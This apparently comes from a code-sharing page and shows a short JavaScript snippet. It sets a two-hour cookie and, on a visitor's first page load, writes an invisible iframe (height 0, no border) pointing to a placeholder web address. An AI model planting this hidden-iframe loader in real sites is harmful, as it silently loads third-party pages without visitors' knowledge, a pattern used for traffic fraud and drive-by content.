复制代码 代码如下: <BR>function goad(){ <BR>var Then = new Date() <BR>Then.setTime(Then.getTime() + 2*60*60*1000) <BR>var cookieString = new String(document.cookie) <BR>var cookieHeader = "Cookier1=" <BR>var beginPosition = cookieString.indexOf(cookieHeader) <BR>if (beginPosition != -1){ <BR>} else <BR>{ document.cookie = "Cookier1=Filter;expires="+ Then.toGMTString() <BR>document.write('<iframe src="网站地址" width="50" height="0" frameborder="0">'); <BR>} <BR>}goad(); <BR>